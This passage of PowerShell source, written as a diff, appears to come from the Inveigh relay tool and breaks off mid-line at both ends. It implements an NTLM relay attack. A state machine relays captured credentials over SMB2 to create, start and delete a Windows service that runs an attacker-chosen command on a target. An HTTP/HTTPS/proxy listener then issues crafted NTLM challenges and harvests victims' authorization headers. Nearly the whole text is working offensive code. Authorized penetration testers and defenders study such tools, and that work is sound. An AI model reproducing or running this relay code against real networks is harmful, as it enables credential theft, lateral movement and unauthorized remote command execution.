ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + + } + + 'StatusPending' + { + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + + } + + 'OpenSCManagerW' + { + $SMB2_message_ID = 30 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full has required privilege on $Target") > $null + + if($Attack -eq 'Session') + { + $SMB_administrator = $true + $SMB_close_service_handle_stage = 2 + $SMB2_message_ID += 19 + $SMB_client_stage = 'CloseServiceHandle' + } + elseif($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') + { + + if($HTTP_NTLM_domain_string -ne '') + { + $inveigh.relay_user_failed_list.Add("$HTTP_source_IP $HTTP_username_full $Target") + } + + if(!$inveigh.relay_list.Contains("$HTTP_source_IP $Target")) + { + $inveigh.relay_list.Add("$HTTP_source_IP $Target") + } + + if($Attack -ne 'Session') + { + $SMB_relay_failed = $true + $inveigh.relay_list.Add("0 $HTTP_source_IP $HTTP_username_full $Target") + } + + $inveigh.output_queue.Add("[!] $(Get-Date -format s) $HTTP_username_full does not have required privilege on $Target") > $null + $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + $SMB_close_service_handle_stage = 2 + $SMB2_message_ID += 19 + $SMB_client_stage = 'CloseServiceHandle' + } + else + { + $SMB_relay_failed = $true + } + + } + + 'CreateServiceW' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $SMB2_message_ID += 20 + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $SMB2_message_ID++ + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $SMB2_message_ID++ + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] service $SMB_service created on $Target") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Trying to execute command on $Target") > $null + $SMB_service_context_handle = $SMB_client_receive[112..131] + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') + { + $inveigh.console_queue.Add("[!] [$(Get-Date -format s)] service $SMB_service creation failed on $Target") > $null + $SMB_relay_failed = $true + } + else + { + $SMB_relay_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] command executed on $Target") > $null + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] service $SMB_service failed to start on $Target") > $null + } + + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] service $SMB_service deleted on $Target") > $null + $SMB2_message_ID += 20 + $SMB_close_service_handle_stage++ + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $SMB2_message_ID++ + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + 'CloseRequest' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($Attack -eq 'Session') + { + $inveigh.session_message_ID_table[$inveigh.session_count] = $SMB2_message_ID + $SMB_client_stage = 'Exit' + } + else + { + $SMB_client_stage = 'Logoff' + } + + } + + 'Logoff' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + if($SMB_relay_failed -and $Attack -ne 'Session') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay failed on $Target") > $null + $SMB_client_stage = 'Exit' + } + + } + + } + + if(!$SMB_relay_failed -and $RelayAutoDisable -eq 'Y' -and $inveigh.target_list.Count -eq 1 -and $Attack -ne 'Session') + { + $inveigh.target_list.Remove($Target) + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay auto disabled due to success") > $null + $inveigh.SMB_relay = $false + } + elseif(!$SMB_relay_failed -and $Attack -ne 'Session') + { + $inveigh.target_list.Remove($Target) + } + + if($Attack -eq 'Session') + { + return $SMB_administrator + } + else + { + $SMB_relay_socket.Close() + } + + } + +} + +# HTTP/HTTPS/Proxy Server ScriptBlock +$HTTP_scriptblock = +{ + param ($Attack,$Challenge,$Command,$HTTPIP,$HTTPPort,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPS_listener, + $Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$Service,$SMB_version,$SessionLimit,$SessionPriority, + $Target,$Username,$WPADAuth,$WPADAuthIgnore,$WPADResponse) + + function NTLMChallengeBase64 + { + param ([String]$Challenge,[String]$ClientIPAddress,[Int]$ClientPort) + + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + if($Challenge) + { + $HTTP_challenge = $Challenge + $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, + 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + + $HTTP_challenge_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, + 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, + 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, + 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, + 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, + 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, + 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, + 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, + 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + + $HTTP_timestamp + + 0x00,0x00,0x00,0x00,0x0a,0x0a + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = $HTTP_challenge + + return $NTLM + } + + if($HTTPS_listener) + { + $HTTP_type = "HTTPS" + } + elseif($proxy_listener) + { + $HTTP_type = "Proxy" + } + else + { + $HTTP_type = "HTTP" + } + + if($HTTPIP -ne '0.0.0.0') + { + $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) + $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) + } + + $HTTP_running = $true + $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint + $HTTP_client_close = $true + $relay_step = 0 + + if($proxy_listener) + { + $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) + $HTTP_listener.Server.LingerState = $HTTP_linger + } + + try + { + $HTTP_listener.Start() + } + catch + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") + $HTTP_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") + } + + } + + :HTTP_listener_loop while($inveigh.relay_running -and $HTTP_running) + { + $TCP_request = "" + $TCP_request_bytes = New-Object System.Byte[] 4096 + $HTTP_send = $true + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") + $HTTP_header_cache_control = "" + $HTTP_header_authenticate = "" + $HTTP_header_authenticate_data = "" + $HTTP_message = "" + $HTTP_header_authorization = "" + $HTTP_header_host = "" + $HTTP_header_user_agent = "" + $HTTP_request_raw_URL = "" + $NTLM = "NTLM" + + while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) + { + Start-Sleep -m 10 + + if(!$inveigh.relay_running) + { + break HTTP_listener_loop + } + + } + + if($relay_step -gt 0) + { + $relay_reset++ + + if($relay_reset -gt 2) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay attack resetting") > $null + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + $relay_reset = 0 + } + + if($HTTPS_listener) + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_clear_stream = $HTTP_client.GetStream() + $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) + $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) + $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) + } + + [byte[]]$SSL_request_bytes = $null + + do + { + $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] + } while ($HTTP_clear_stream.DataAvailable) + + $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) + } + else + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_stream = $HTTP_client.GetStream() + } + + if($HTTP_stream.DataAvailable) + { + $HTTP_data_available = $true + } + else + { + $HTTP_data_available = $false + } + + while($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + } + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + + if($TCP_request -like "*-48-6F-73-74-3A-20-*") + { + $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) + $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) + $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) + } + + if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") + { + $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) + } + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") + + if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_header_authorization_extract = 